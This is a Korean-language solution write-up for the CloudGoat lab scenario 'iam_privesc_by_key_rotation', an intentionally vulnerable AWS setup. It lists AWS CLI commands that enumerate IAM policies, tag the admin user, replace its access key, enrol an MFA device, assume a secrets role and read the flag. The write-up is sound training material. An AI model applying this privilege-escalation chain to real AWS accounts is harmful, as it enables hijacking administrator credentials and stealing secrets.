[CloudGoat] Scenario "iam_privesc_by_key_rotation" - solution
시나리오 개요
Exploit insecure IAM permissions to escalate your access. Start with a role that manages other users credentials and find a weakness in the setup to access the "admin" role. Using the admin role retrieve the flag from secretsmanager.
시나리오 목표
Admin role을 통해 SecretsManager에 있는 flag 탈취
시나리오 세팅
./cloudgoat.py create iam_privesc_by_key_rotation
solutions 디렉토리 내의 iam_privesc_by_key_rotation 시나리오 제작 Terraform이 실행된다.
Terraform output으로 시나리오 시작에 대한 정보(kerrigan user credential)가 담긴 파일이 생성된다.
해당 파일의 Credential을 .aws/credentials에 cg-kerrigan 이름의 Profile로 추가해준다.
Solution
1. 주어진 user의 정보를 가져온다
aws sts get-caller-identity --profile cg-kerrigan
manager_iam_privesc_by_key_rotation 이름의 user로 확인된다.
2. iam user 목록화 및 각 user별 Role & Policy 확인
aws iam list-users --profile cg-kerrigan
총 3개의 user (admin / developer / manager)를 확인할 수 있다.
각 user 별로 Role과 Policy 내용을 더 확인해본다.
먼저 각 user 별로 attached된 Policy들을 확인해본다.
# 특정 user에 attached된 Managed policy 목록 확인
aws iam list-attached-user-policies --user-name [user명] --profile cg-kerrigan
# 특정 user에 attached된 Inline policy 목록 확인
aws iam list-user-policies --user-name [user명] --profile cg-kerrigan
각 user별로 attached된 Policy는 다음과 같다.
admin | developer | manager | |
Managed Policy | IAMReadOnlyAccess | X | IAMReadOnlyAccess |
Inline Policy | AssumeRoles | DeveloperViewSecrets | SelfManageAccess TagResources |
이들 중에서 Inline Policy들을 위주로 각 Policy의 document를 확인해본다.
# 특정 user에 attached된 Inline policy document 확인
aws iam get-user-policy --user-name [user명] --policy-name [policy명] --profile cg-kerrigan
먼저, 현재 가지고 있는 manager의 policy 2개를 확인해본 결과는 아래와 같다.
## SelfManageAccess
"Statement": [
{
"Action": [
"iam:DeactivateMFADevice",
"iam:GetMFADevice",
"iam:EnableMFADevice",
"iam:ResyncMFADevice",
"iam:DeleteAccessKey",
"iam:UpdateAccessKey",
"iam:CreateAccessKey"
],
"Condition": {
"StringEquals": {
"aws:ResourceTag/developer": "true" # developer:true 태그가 붙은 리소스에 한해 MFA와 Accesskey에 접근할 수 있음
}
},
"Effect": "Allow",
"Resource": [
"arn:aws:iam::538872363553:user/*",
"arn:aws:iam::538872363553:mfa/*"
],
"Sid": "SelfManageAccess"
},
{
"Action": [
"iam:DeleteVirtualMFADevice",
"iam:CreateVirtualMFADevice"
],
"Effect": "Allow",
"Resource": "arn:aws:iam::538872363553:mfa/*",
"Sid": "CreateMFA"
}
]
## TagResources
"Statement": [
{
"Action": [
"iam:UntagUser",
"iam:UntagRole",
"iam:TagRole",
"iam:UntagMFADevice",
"iam:UntagPolicy",
"iam:TagMFADevice",
"iam:TagPolicy",
"iam:TagUser"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "TagResources"
}
]
SelfManagedAccess policy에서는 developer:true라는 태그가 붙어있는 리소스에 대해 MFA와 AccessKey를 관리할 수 있는 Statement와 user, role, MFADevice들에 대해 태그를 관리할 수 있는 statement를 확인할 수 있다.
다음으로 developer의 DeveloperViewSecrets와 admin의 AssumeRoles policy를 확인해 보았다.
### DeveloperViewSecrets
{
"Action": "secretsmanager:ListSecrets",
"Effect": "Allow",
"Resource": "*",
"Sid": "ViewSecrets"
}
### AssumeRoles
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Resource": "arn:aws:iam::538872363553:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgido6m3fck9za",
"Sid": "AssumeRole"
}
developer는 Secretsmanager의 ListSecrets를 수행할 수 있지만, 그 내용을 확인할 권한은 없다.
그리고 admin은 cg-secretsmanager라는 role에 대해 AssumeRole이 허용되어있다. 여기서 새롭게 발견한 Role을 더 찾아본다.
3. 새로 발견한 Role(cg-secretsmanager) 정보 탐색
# 특정 role의 detail 확인
aws iam get-role --role-name [role명] --profile cg-kerrigan
# 특정 role에 attached된 Managed policy 목록 확인
aws iam list-attached-role-policies --role-name [role명] --profile cg-kerrigan
새로 발견한 Role의 내용은 다음과 같다.
### get-role
{
"Role": {
"Path": "/",
"RoleName": "cg_secretsmanager_iam_privesc_by_key_rotation_cgido6m3fck9za",
"RoleId": "AROAX252LXIQ7EJU4S35M",
"Arn": "arn:aws:iam::538872363553:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgido6m3fck9za",
"CreateDate": "2024-01-29T02:39:39+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::538872363553:root"
},
"Action": "sts:AssumeRole",
"Condition": {
"Bool": {
"aws:MultiFactorAuthPresent": "true" # MFA가 설정되어있어야 assumerole할 수 있음
}
}
}
]
},
"Description": "Access to view secrets",
"MaxSessionDuration": 3600,
"Tags": [
{
"Key": "Scenario",
"Value": "iam_privesc_by_key_rotation"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
],
"RoleLastUsed": {}
}
}
### list-attached-role-policies
{
"AttachedPolicies": [
{
"PolicyName": "cg_view_secrets_iam_privesc_by_key_rotation_cgido6m3fck9za",
"PolicyArn": "arn:aws:iam::538872363553:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgido6m3fck9za"
}
]
}
Role의 Statement에 따르면, MFA만 설정되어있으면 AssumeRole해줄 수 있다는 것을 알 수 있다.
그리고 cg_view_secrets라는 Policy가 Attached된것도 확인할 수 있다.
이 policy 내용을 더 확인해본다.
aws iam get-policy --policy-arn [policy ARN] --profile cg-kerrigan (policy 정보 확인)
{
"Policy": {
"PolicyName": "cg_view_secrets_iam_privesc_by_key_rotation_cgido6m3fck9za",
"PolicyId": "ANPAX252LXIQZB4WJGACT",
"Arn": "arn:aws:iam::538872363553:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgido6m3fck9za",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "View and retreive secrets",
"CreateDate": "2024-01-29T02:39:38+00:00",
"UpdateDate": "2024-01-29T02:39:38+00:00",
"Tags": [
{
"Key": "Scenario",
"Value": "iam_privesc_by_key_rotation"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
]
}
}
Policy의 버전정보를 확인하고, 이 버전의 내용을 확인한다.
aws iam get-policy-version --policy-arn [policy ARN] --version-id [버전ID] --profile cg-kerrigan
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": "secretsmanager:ListSecrets", # developer user와 동일하게 secret 목록을 읽을 수 있음
"Effect": "Allow",
"Resource": "*"
},
{
"Action": "secretsmanager:GetSecretValue", # 결론, admin user로 secret value를 읽을 수 있다.
"Effect": "Allow",
"Resource": "arn:aws:secretsmanager:us-east-1:538872363553:secret:cg_secret_iam_privesc_by_key_rotation_cgido6m3fck9za-BEJJtS"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2024-01-29T02:39:38+00:00"
}
}
설정된 버전 'v1'의 내용을 확인하면 Secret 목록을 읽고, SecretValue도 읽어올 수 있는 내용을 볼 수 있다.
즉, admin user의 권한만이 SecretValue를 읽어올 수 있는 것이다.
4. Exploit
위에서 확인했던 manager의 policy들을 기억하는가?
이 계정내의 모든 MFA와 user들에 Tag를 달 수 있었다. 그리고 developer 태그가 달린 MFA와 AccessKey를 관리할 수도 있었다.
Manager로 Admin user에 developer:true 태그를 할당하고, Admin user의 AccessKey를 임의로 생성하면 Admin user의 권한을 탈취하게되는 흐름을 생각해볼 수 있게 된다.
# user에 태그 달기
aws iam tag-user --user-name [user명] --tags '{"Key":"developer", "Value": "true"}' --profile cg-kerrigan
# user의 AccessKey 생성
aws iam create-access-keys --user-name [user명] --profile cg-kerrigan
AccessKey를 생성하면 갯수 제한에 막히는 것을 볼 수 있다.
admin user의 AccessKey 목록을 확인하고 하나를 지우면 생성할 수 있다.
# user의 AccessKey 목록 확인
aws iam list-access-keys --user-name [user명] --profile cg-kerrigan
# user의 AccessKey 삭제
aws iam delete-access-key --user-name [user명] --access-key-id [AccessKey ID] --profile cg-kerrigan
다음으로 cg-secretsmanager Role을 assume하기 전에, MFA 등록을 해주어야한다.
# 가상 MFA 기기 등록
aws iam create-virtual-mfa-device --virtual-mfa-device-name [MFA device 이름] \
--outfile [MFA등록 QR] --bootstrap-method QRCodePNG --profile cg-kerrigan
기기를 등록하면 QR 이미지파일이 생성되고, 이 이미지를 OTP 기기에 등록 후 admin에 MFA를 활성화 시켜준다.
# user에 MFA 활성화
aws iam enable-mfa-device --user-name [user명] --serial-number [MFA device serial] \
--authentication-code1 [otp코드1] --authentication-code2 [otp코드2] --profile cg-kerrigan
5. Assume-Role Credential 획득
MFA활성화를 시킨 다음, 생성한 AccessKey를 이용해 cg-secretsmanager Role을 assume
aws sts assume-role --role-arn [role ARN] --role-session-name cg-admin --profile cg-admin \
--serial-number [MFA device serial] --token-code [OTP 코드]
6. Secret 확인
이후 획득한 sts Assumed Role의 Credential을 바탕으로 SecretsManager에 접근해 SecretValue를 획득한다.
# Secret 목록 확인
aws secretsmanager list-secrets --profile cg-authed --region us-east-1
# Secret Value 확인
aws secretsmanager get-secret-value --secret-id [Secret명] --region us-east-1 --profile cg-authed
Flag : flag{14m_PERM15510N5_4Re_5C4R_00ed47e9a6fbc9dbee52b0828575403822eeedb372e44ad97d761af6c66d2220}